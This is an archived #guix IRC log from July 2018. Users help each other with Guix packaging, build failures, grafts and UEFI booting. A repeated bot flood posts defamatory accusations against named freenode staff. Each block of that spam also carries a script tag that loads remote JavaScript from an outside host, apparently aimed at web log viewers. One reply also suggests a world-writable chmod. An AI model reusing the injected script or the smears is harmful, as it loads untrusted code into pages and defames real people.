IRC channel logs

2018-07-26.log

back to list of logs

<nee`>g_bor[m]: Thank you very much for that link yesterday. I just managed to build openrct2 0.2.0 after unsetting the include path variables and removing -Werror from the cmake file.
<brendyn>when i run 'mount -t foo bar/ baz', mount searches for /run/current-system/profile/sbin/mount.foo , but not ~/.guix-profile/... or anything like that, even though I have util-linux installed locally
<pkill9>brendyn: try logging in and then out, and try again
<brendyn>I tried sudo su -l and running it there
<brendyn>what should loggin in again do?
<pkill9>actually just run `source ~/.guix-profile/etc/profile`
<pkill9>basically ~/.guix-profile/sbin might need to be added to your $PATH
<pkill9>which it won't be if you haven't added any packages that add to the profile's /sbin
<brendyn>it's already there
<pkill9>in the $PATH?
<brendyn>I even tried *removing* /run/current-system/... from PATH, but mount still explicitely searches there somehow
<pkill9>oh ok
<brendyn>it's rather weird
<brendyn>I see now, it's hard coded in the package definition of util-linux
<brendyn>this means that such file systems need to be installed in the system to be used
<pkill9>there's also this bug post http://lists.gnu.org/archive/html/bug-guix/2016-11/msg00071.html
<pkill9>the reply suggested pathcing it to look in $PATH
<pkill9>patching*
<brendyn>I see good catch
<thomassgn>wigust-: Hey, didn't see your response cause food and things. But, printing a test page from the maintenance thing in the web interface gives me the same error...
<rogue2>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<rogue2>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<rogue2>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<rogue2><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<rogue2>This message was brought to you by Private Internet Access
<Some_Person8>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Some_Person8>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Some_Person8>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Some_Person8><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<Some_Person8>This message was brought to you by Private Internet Access
<Random>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Random>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Random>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Random><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<Random>This message was brought to you by Private Internet Access
<snowolf1013>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<snowolf1013>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<snowolf1013>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<snowolf1013><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<snowolf1013>This message was brought to you by Private Internet Access
<mcintosh8>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<mcintosh8>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<mcintosh8>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<mcintosh8><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<mcintosh8>This message was brought to you by Private Internet Access
<deed023929>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<deed023929>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<deed023929>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<deed023929><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<deed023929>This message was brought to you by Private Internet Access
<cloe23>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<cloe23>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<cloe23>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<cloe23><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<cloe23>This message was brought to you by Private Internet Access
<iamtakingiteasy>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<iamtakingiteasy>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<iamtakingiteasy>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<iamtakingiteasy><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<iamtakingiteasy>This message was brought to you by Private Internet Access
<syncretism_mbl18>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<syncretism_mbl18>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<syncretism_mbl18>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<syncretism_mbl18><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<syncretism_mbl18>This message was brought to you by Private Internet Access
<Boohbah8>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<efraim>Enough spam already
<gnurooty>HI ! I have a problem with sudo -E guix system reconfigure /etc/config/scm.
<gnurooty>he cant's build fuse and gvfs.
<gnurooty>cannot build derivation `/gnu/store/xb9i2rlbh7p2h6zv8vxp1y3say1d2vla-fuse-2.9.8.tar.xz.drv': 1 dependencies couldn't be built
<gnurooty>cannot build derivation `/gnu/store/ajg7dchajw0nvirf9mp0li5648wvbiw0-fuse-2.9.8.drv': 1 dependencies couldn't be built
<gnurooty>cannot build derivation `/gnu/store/v82hwwps4ivjh6l6pxclwl76ixyv5vfg-gvfs-1.32.1.drv': 1 dependencies couldn't be built
<gnurooty>guix system: error: build failed: build of `/gnu/store/v82hwwps4ivjh6l6pxclwl76ixyv5vfg-gvfs-1.32.1.drv' failed
<g_bor[m]>hello guix!
***siraben is now known as wefiweo
***wefiweo is now known as siraben
<g_bor[m]>I have a problem using sxml. I would like to add a character entity reference to my xml using sxml->xml, written in the form &#hexnumber.
<g_bor[m]>I can't find out how to do that.
<g_bor[m]>xml->sxml however correctly converts character references to scheme characters.
<labviking>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<labviking>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<labviking>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<labviking><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<labviking>This message was brought to you by Private Internet Access
<Selavi1>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Selavi1>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Selavi1>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Selavi1><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<Selavi1>This message was brought to you by Private Internet Access
<bray90820_28>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<bray90820_28>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<bray90820_28>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<bray90820_28><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<bray90820_28>This message was brought to you by Private Internet Access
<barbietoss2>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<barbietoss2>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<barbietoss2>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<barbietoss2><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<barbietoss2>This message was brought to you by Private Internet Access
<Guest22755>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Guest22755>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Guest22755>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Guest22755><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<Guest22755>This message was brought to you by Private Internet Access
<civodul>wtf
<civodul>hello!
<efraim>Hai!
<efraim>How much do we have to pay to have our blog posts spammed on freenode? ;)
<ng0>spam-bots love this one weird trick. click here to learn more about k-line
<civodul>efraim: heh :-)
<gsdg>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<gsdg>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<gsdg>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<gsdg><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<gsdg>This message was brought to you by Private Internet Access
<matze11>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<matze11>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<matze11>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<matze11><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<matze11>This message was brought to you by Private Internet Access
<rekado>should we enable registration to keep these spam bots out?
<g_bor[m]>Any idea how to include character or entity references into an sxml tree? ISTM that this part of xml is not supported. Anyone with more insight?
<g_bor[m]>or to escape a & to appear literally in the resulting xml?
<efraim>i think not yet on registration, it's only been 6? times in 12 hours, first time in months
<vagrantc>well... that's just #guix ... multiple that by the number of channels you're in and it almost makes irc unusable...
<rekado>g_bor[m]: is it an option for you to edit the sxml representation?
<rekado>g_bor[m]: you can, for example, add a node (list '*ENTITY* "#13") and sxml->xml will convert that to &#13;
<rekado>PSA: in a couple of hours berlin.guixsd.org will go offline for an hour or so.
<lestaty21>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<lestaty21>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<lestaty21>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<lestaty21><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<lestaty21>This message was brought to you by Private Internet Access
<g_bor[m]>ok, it seems that I've solved the problem with picard.
<rekado>g_bor: did you use '*ENTITY or have you found another way around it?
<efraim>looks like hydra didn't like the fuse source tarball
<g_bor>rekado: I've found another way, I could write the string as escape sequences.
<g_bor>Now it seems, that pigx builds, but fails it's testsuite.
<preaction29>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<preaction29>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<preaction29>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<preaction29><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<preaction29>This message was brought to you by Private Internet Access
<g_bor>Actually pigx-ranseq fails it's testsuite.
<Kilo`byte0>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Kilo`byte0>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Kilo`byte0>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Kilo`byte0><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<Kilo`byte0>This message was brought to you by Private Internet Access
<crayfishx229>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<krytarik0>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<ng0>even though I do --no-substitutes --fallback during update, my builder insists on loading from berlin. but berlin just disappeared. shouldn't this be enough to build without hydra?
<ng0> https://d.n0.is/pub/tmp/guix_off.txt
<jlicht>hey guix
***avoidr_ is now known as avoidr
<92AADK60M>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<92AADK60M>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<92AADK60M>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<92AADK60M><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<92AADK60M>This message was brought to you by Private Internet Access
<ng0>civodul: do you want to temporarily invoke registered users only for this channel?
<ng0>or simply wait until freenode has resolved this?
<jlicht>what is going on with all this spam? The log is littered as well :/
<ng0>oh, this is harmless. remember this one time when someone tried to post decades long lists of supposedly war victims and it just flooded on and on?
<ng0>it will be gone in no time
<elenah13>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<elenah13>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<elenah13>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<elenah13><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<elenah13>This message was brought to you by Private Internet Access
<pkill9>speka of the devil
<pkill9>speak*
<sysdef1>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<sysdef1>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<sysdef1>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<sysdef1><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<rekado>HBAs are now in berlin.guixsd.org
<sysdef1>This message was brought to you by Private Internet Access
<RustyJ11>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<RustyJ11>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<RustyJ11>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<RustyJ11><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<RustyJ11>This message was brought to you by Private Internet Access
<Olipro29>Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<Olipro29>or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<Olipro29>Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<Olipro29><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<Olipro29>This message was brought to you by Private Internet Access
<rekado>ugh
<g_bor>rekado: do you have any idea regarding the pigx-ranseq test failure?
<efraim>debian literally has a patch file in their python-3.7 package called 'git-updates.diff'
<efraim>on aarch64 from Lib/test/test_posix.py: OSError: [Errno 95] Operation not supported
<efraim>now to test the 3 that were previously skipped since aarch64 is a special unicorn architecture that keeps on breaking python tests
<mbakke>efraim: We need some patches from the 3.7 branch as well, I'm hoping 3.7.1 will be released in time.
<efraim>the top of the git-updates.diff says its all the patches until july 20th condensed into one
<efraim>do we want to keep 3.6 around also in case anyone wants/needs it?
<mbakke>They do a similar thing for glibc.
<efraim>and gcc
<efraim>actually, for gcc i think they just use linaro's branch for the arm architectures
<mbakke>We haven't maintained old Pythons in the past, don't think there is a good reason to start now.
<mbakke>Besides, 3.7 brings lots of reproducibility improvements.
<efraim>speaking of gcc, just got the email that 8.2 is out
<mbakke>Yay. Will you update it? :-)
<mbakke>Speaking of GCC, we really should switch this core-updates.
<mbakke>jonsger: Did you get any further with GCC6?
***jonsger1 is now known as jonsger
<jonsger>mbakke: no, didn't dive into
<pkill9>what kinda improvements mbakke?
<pkill9>did they fix the issue of using PYTHONPATH for all versions of python?
<mbakke>pkill9: The 3.7 package that's in the patch queue is itself reproducible, and I haven't yet found a Python package that does not pass `guix build --rounds=2`.
<efraim>are we still looking at 4.8->5->6 for most architectures?
<jlicht>mbakke: wonderfull :)
<efraim>test_win32 still fails on aarch64
<g_bor>mbakke: I'm always asking for the status of staging. Is there any place where I can see that myself?
<mbakke>g_bor: Unfortunately we don't really have a "tracker" for staging.
<mbakke>It gets started typically when there are enough patches in the queue, and Hydra is not busy.
<g_bor>Any what is the situation on berlin? Also, can hydra run more evaluations at the same time? ( Or more generally how do we know what hydra or what berlin is doing currently?)
<g_bor>Also, how do we define 'enough patches'?
<mbakke>g_bor: It "can" run multiple evaluations, but it could cause both to time out :P
<mbakke>I have a 'set' of packages that I look after for staging. Right now only Meson and MariaDB are missing.
<mbakke>I will submit the latter shortly, and then work on Meson. Hydra is busy for a couple of days anyway.
<ng0>efraim: weechat also has vimode https://weechat.org/scripts/source/vimode.py.html/
<efraim>ng0: thanks, i'll take a look at that
<rekado>g_bor[m]: what’s wrong with pigx-rnaseq?
<rekado>BTW: berlin.guixsd.org is back online. I haven’t played with multipathd yet, nor have I moved /gnu/store yet.
<rekado>it’s going to happen soon, though. Maybe next week if I can make enough time.
<g_bor[m]>mbakke: thanks
<rekado>g_bor[m]: how can I reproduce the test failure?
<jlicht>is emacsy something that people are working on?
<mbakke>Huh, it seems the fuse tarball was modified in place.
<mbakke>The new tarball also has a good signature from the same key, one day later.
<brendyn>mbakke: I also noticed it was changed yesterday and i couldn't update
<cryptocat1094>Strangely, when I dry to do 'guix package -u ghc' nothing happened despite checking with 'guix package --dry-run -u', but doing 'guix package -i ghc' worked.
<aminb>hi people, would anyone be able to give me a quick rundown of the status of wayland on GuixSD?
<aminb>i was thinking of attempting packaging wlroots and sway for guix but thought ask if anyone knows about the general state of wayland on GuixSD
<mbakke>aminb: There are some Wayland users here.
<mbakke>I've tried wlroots as well and you'll find a newer version of elogind is needed.
<efraim>I have a patch sitting in my home directory for months now enabling wayland on enlightenment, never booted into it though
<mbakke>efraim: Cool! Amazing how Enlightenment is still keeping up after all these years :)
<mbakke>aminb: I've tried updating elogind too, but it fails to start on the second reboot(!). Didn't get around to fix that yet.
<mbakke>Should probably try to reproduce it in a system test.
<cryptocat1094>Right so, I'm thinking I might be misunderstanding stuff.
<cryptocat1094>`guix pull` upgrades guix itself and package definitions. `guix package -u` is supposed to upgrade other installed packages. Correct so far?
<cryptocat1094>> upgrade other installed packages  using the definitions updated by `guix pull`.
<mbakke>cryptocat1094: That is correct.
<mbakke>Did anyone try packaging mozjs 52 yet? The new polkit requires it.
<cryptocat1094>mbakke: Is the behavior of `guix package -u ghc` and `guix package -i ghc` supposed to differ when an older version is installed?
<mbakke>cryptocat1094: Both commands would upgrade it to the latest version.
<mbakke>The -u command would additionally upgrade any other package with ghc in the name.
<mbakke>(it takes a regexp)
<mbakke>*any other installed package
<efraim>oops, tried to respond to guix-patches from inside emacs and it turns out I never set up sending email
<mbakke>efraim: Are you joining the dark side of Evil users?
<efraim>i'm considering it for patches and such, although I feel like I work really really slowly with some things
<brendyn>cryptocat1094: I'm not sure why that happened, it doesn't make much sense to me
<aminb>mbakke: ah, interesting! do you happen to know what exactly elogind is used for in wlroots?
<aminb>i've heard it's needed on systems without systemd (which is the case for GuixSD) but not sure for exactly what
<cryptocat1094>brendyn: The "not behaving the same" thing? Yeah, it's weird. Guix didn't seem to give me a hard-time installing on this machine. (It "just worked")
<brendyn>cryptocat1094: i can only guess that you made some typo and didnt notice
<brendyn>hopefully. do you think you can reproduce the behaviour?
<mbakke>aminb: I think it is an optional dependency, actually.
<brendyn>maybe use --switch-generation to roll back and try again, see if it is still inconsistant when you run those commands
<cryptocat1094>I'll give it a try soonish.
<mbakke>cryptocat1094: I suspect it's an issue with grafts.
<mbakke>Did you run `guix gc` recently?
<cryptocat1094>mbakke: I have.
<cryptocat1094>Graphs are distinct from patches, correct?
<mbakke>I think the problem is that you only had the "grafted" ghc in your profile, and the ungrafted version had been garbage collected. This was enough to satisfy `guix package -u` (no changes), but `guix package -i` (and dry-run) wants the ungrafted variant as well.
<mbakke>You can test it by running `guix gc -d $(guix build --no-grafts ghc)`, and then try to upgrade and install again.
<cryptocat1094>s/Graphs/Grafts/
<mbakke>That gc command will remove the original, no-grafts version of ghc from your store.
<cryptocat1094>Ah, that makes sense.
<mbakke>cryptocat1094: See https://www.gnu.org/software/guix/manual/en/guix.html#Security-Updates for an explanation of grafts.
<aminb>ha
<cryptocat1094>mbakke: 'guix gc: error: build failed: cannot delete path `/gnu/store/9lxv72wjp7cbih6ncw8xwachlrc2k2yc-ghc-8.0.2-doc' since it is still alive'
<cryptocat1094>This might be causing the issue.
<mbakke>cryptocat1094: Try `guix gc -d $(guix build --no-grafts ghc | head -n 1)`
<cryptocat1094>finding garbage collector roots...
<cryptocat1094>guix gc: error: build failed: cannot delete path `/gnu/store/9lxv72wjp7cbih6ncw8xwachlrc2k2yc-ghc-8.0.2-doc' since it is still alive
<cryptocat1094>Additionally, how do I delete `guix pull` generations?
<brendyn>Interesting, guix -l is quite slow. It seems to be reading all these chars one-by-one slowly
<pkill9_>hi
<pkill9_>how do i run `guix system reconfigure` for a guix installation, while in the installation image?
<pkill9_>i moved my hard drive from my old laptop to a new laptop, but it won't boot despite recognising the drive name
<pkill9_>i'm guessing efi needs to be written to the bootloader or something
<pkill9_>halp me ._.
<cryptocat1094>I haven't done so with GuixSD yet, but ensure that UEFI actually points to your bootloader.
<pkill9_>how do i ensure that?
<cryptocat1094>If the EFI boot partition is on the same disk and you just swapped the whole thing? That part should still be working.
<brendyn>Perhaps the main slowdown is from diffing each generation
<pkill9_>the boot partition is on /dev/sda1
<pkill9_>hmm, i'll reboot and explore the options
<cryptocat1094>pkill9_: I think there's some configs written to the UEFI ROM.
<pkill9_>by GuixSD?
<cryptocat1094>pkill9_: Yes. I don't know for sure, but Arch certainly can be setup that way. (And about a dozen other ways...)
<pkill9_>ok, ty
<cryptocat1094>Essentially, if the new laptop doesn't know to check for your bootloader, it maybe just doesn't check it.
<pkill9_>so i need to re-write a config to the UEFI ROM
<pkill9_>yep i'm thinking that's the issue
<cryptocat1094>Perhaps the firmware menu has a convenient interface for it.
<cryptocat1094>Otherwise there's some runtime utilities that can do it.
<brendyn>Yep, when I remove the diffing, it runs fast, but obviously without the diff information
<pkill9_>since it recognises the drive name, and i am currently booted into guixsd live image, and i can mount the drive nad see my data
<pkill9_>cryptocat1094: whic runtime utilities are they?
<pkill9_>which*
<cryptocat1094> https://wiki.archlinux.org/index.php/Unified_Extensible_Firmware_Interface#Userspace_tools
<cryptocat1094>efibootmgr this is the one I used. I can't really help as I'm not that great with it (the procedure was well outline on the wiki for Arch.)
<cryptocat1094>Presumably just using the example command which seems to merely tell it to check /dev/sda shoud work.
<cryptocat1094>*should
<cryptocat1094>Erh, wait. '--loader /EFI/refind/refind_x64.efi' this part you'll have to check yourself.
<cryptocat1094>I'd really recommend checking if the BIOS/Boot_Firmware has some nice menu for it first.
<pkill9_>hmm, it outputs 'EFI variables are not supported on this system
<pkill9_>ok i will
<pkill9_>if not, i'm just gonna run guix system init on it with barebones, and reboot into it and reconfgure
<pkill9_>actually idk
<civodul>rekado: did you change /gnu on berlin already?
<rekado>civodul: no.
<civodul>things like "guix build /gnu/store/2qca3awp7xsjhqjvsal99z4fh0r2ws14-guile-2.2.4.drv" fail very early
<civodul>ok
<rekado>(I wanted to write an update but IT changed the mail server settings again…)
<rekado>I only moved the HBAs and applied controller updates
<pkill9_>ok, i'll chekc BIOS for uefi options
<rekado>I need to write a multipathd system service next
<civodul>ok
<civodul>got it, that's actually aarch46
<civodul>*64 even
<civodul>but it breaks things
<civodul>rekado: turns out we had not re-added efraim's overdrive to machines.scm, which i've done just now
<civodul>"modular" jobset evals where failing altogether because the aarch64 derivation could not be computed
<civodul>also, i commented out *.157 from machines.scm because it's unreachable
<rekado>oh, thanks.
<pkill9_>hmm i didn't see anything
<pkill9_>rekado: what would the best way be to write to the UEFI ROM?
<pkill9_>like, do the boot configuration phase of `guix system reconfigure`
<rekado>sorry, I don’t know anything useful about UEFI.
<pkill9_>tbh i think the solution is simpler, i just gotta chroot or something into my guix instlalation and run `guix systme reconfigure`
<pkill9_>system*
<pkill9_>not sure of the best way to change environment into my installation though
<pkill9_>hmm
<pkill9_>or civodul, or any other guixsd gods lol
<civodul>pkill9_: GRUB writes to the UEFI file system through a package called 'efivar' and another one whose name i forgot
<civodul>it's not Guix-specific
<civodul>you could check the dependencies of 'grub-efi' and look at how it's implemented
<civodul>ACTION takes the lock on merging master in core-updates :-)
<pkill9_>i decided instead to just run guix system init on my existing installation
<pkill9_>then i'll reconfigure after booting into it
<pkill9_>hopefully nothing gets borked lol
<pkill9_>this is why i should keep backups lol
<civodul>pkill9_: that'll break everything, warranty void!
<civodul>i didn't follow previous discussions, but what's sure is that you should only reconfigure
<pkill9_>oh ok, i canceled the process
<pkill9_>civodul: after running `herd start cow-store /mnt`, cna i run `guix system reconfigure config.scm` and it will owrk?
<pkill9_>work*
<civodul>"cow-store" is just for within the installation image
<civodul>you mean you wanted to run 'guix system init' from the installation image?
<civodul>that'll work, but it's unnecessarily painful
<pkill9_>civodul: i'm currently in the installation image
<civodul>alright
<civodul>really, you should never have to reinstall
<pkill9_>civodul: i was running `guix system init` from the installation image yeah, but on my hdd installation of GuixSD
<civodul>it's equivalent to reconfigure (modulo details)
<pkill9_>just to get the UEFI ROM thing written
<civodul>sorry, i don't understand what the problem is
<civodul>perhaps you should email all the details to help-guix@gnu.org/
<civodul>?
<pkill9_>i put the hard drive of my old laptop into my new laptop, and the new laptop recognises the drive, but doesn't boot
<pkill9_>so i think UEFI on it is configured differently
<pkill9_>i don't know anything about efi/uefi, or the boot process much though
<pkill9_>so i was running `guix system init` just to run that last phase that writes the UEFI configuration to the BIOS or whatever
<pkill9_>but with a barebones installation, then boot into the system and reconfigure with the actual system
<civodul>hmm
<civodul>i can't address it right away, a message to help-guix might help
<pkill9_>ok
<pkill9_>i'm running `guix system init` for now
<cryptocat1094>heh, warranty.
<roptat>hi guix!
<civodul>hey roptat!
<pkill9_>i'll be claiming on my Guix warranty if anything breaks
<pkill9_>it very clearly states that 'Gnu accepts all liability for any losses incurred from the use of this this software, up to and including data loss and hardware failure'
<dustyweb>hello #guix!
<lfam>Howdy
<wigust->thomassgn: Do logs in ‘/var/log/cups/’ contain something useful? Also you could archive ‘/var/cache/cups’ (I assume it's a problem) with ‘# tar czf cups.tar.gz /var/cache/cups’ and play with it, e.g. ‘# chmod -R 777 /var/cache/cups’.
<ng0>was there someone working on initial Nitrokey support?
<pkill9_>i must warn people, that if GuixSD installation image loads in legacy boot mode, then it will not see the efi stuff, or maybe it's just this BIOS
<pkill9_>either way, proprietary system are aggravating
<pkill9_>systems*
<ng0>compiling Firefox and other applications for a whole day in a 30°C room really turns the builder computer into a toaster.. the iron on top is really hot.
<ng0>it started getting cooler after firefox :D
<a_e>That explains the name!
<ng0>hm
<ng0>either libgphoto2 failed or fuse, due to a changed shasum
<ng0>no, libgphoto2.
<ng0>which means caja is failing at the moment
<pkill9_>is there a way to force a rebuild of the Guix cache?
<pkill9_>or is it only ever built over time and can't be rebuilt?
<ng0>also fuse has a hash mismatch
<ng0>sha256 hash mismatch for output path `/gnu/store/ga9rkx45mmf8knlq6v2h2qz7krd1izn0-fuse-2.9.8.tar.gz'
<ng0> expected: 1k4ggl2y5v0lr98l189pc81w0zijj23wbbnijsc6zlx84117nd0j
<ng0> actual: 1qxg1r1mgysfq6qakmvid2njph3lr00w0swvydsfl9ymilfzi12y
<ng0>maybe this is fixed on some branch, but I have no time to look into this today
<pkill9_>also good news, running guix system init on an existing installation didn't hose my user data, bad news is it hosed the cache and also weechat seems to have permission problems with my user's weechat directory, therefore i'm suing guix for everything they owe me
<cryptocat1094>Permission problems with files you own?
<pkill9_>yeah, also seems that weechat just hosed my weechat config >.<
<ng0>then you haven't updated weechat in a while
<pkill9_>nah it's verison 21
<ng0>they have update notes somewhere
<pkill9_>2.1*
<pkill9_>this is so weird and confusing
<pkill9_>some random profile is in my $PATH
<pkill9_>oh wait, nvm
<pkill9_>i\\m in a guix environment lol
<pkill9_>anyways, is there a way to rebuild the guix cache?
<ng0>what does that even mean
<pkill9_>guix uses a database to speed up reading the store doesn't it?
<pkill9_>a database of all the store paths
<pkill9_>or did i make that up in my head? lol
<pkill9_>i thought i read that somewhere
<efraim>theres ~/.cache/guix
<pkill9_>what's in /var/guix/db?
<efraim>i think its for the store
<pkill9_>yeah same
<pkill9_>that what i wanna know if you can rebuild
<pkill9_>the database for the store, assuming that's what it is
<ng0>but why
<efraim>i would assume not
<pkill9_>because i ran guix system init on an existing installation
<ng0>ah
<ng0>you can try to repair the store?
<pkill9_>in order to run the part of the phase that writes the config to the uefi ROM
<pkill9_>how do i repair the store?
<ng0>guix gc --verify
<ng0>and other options
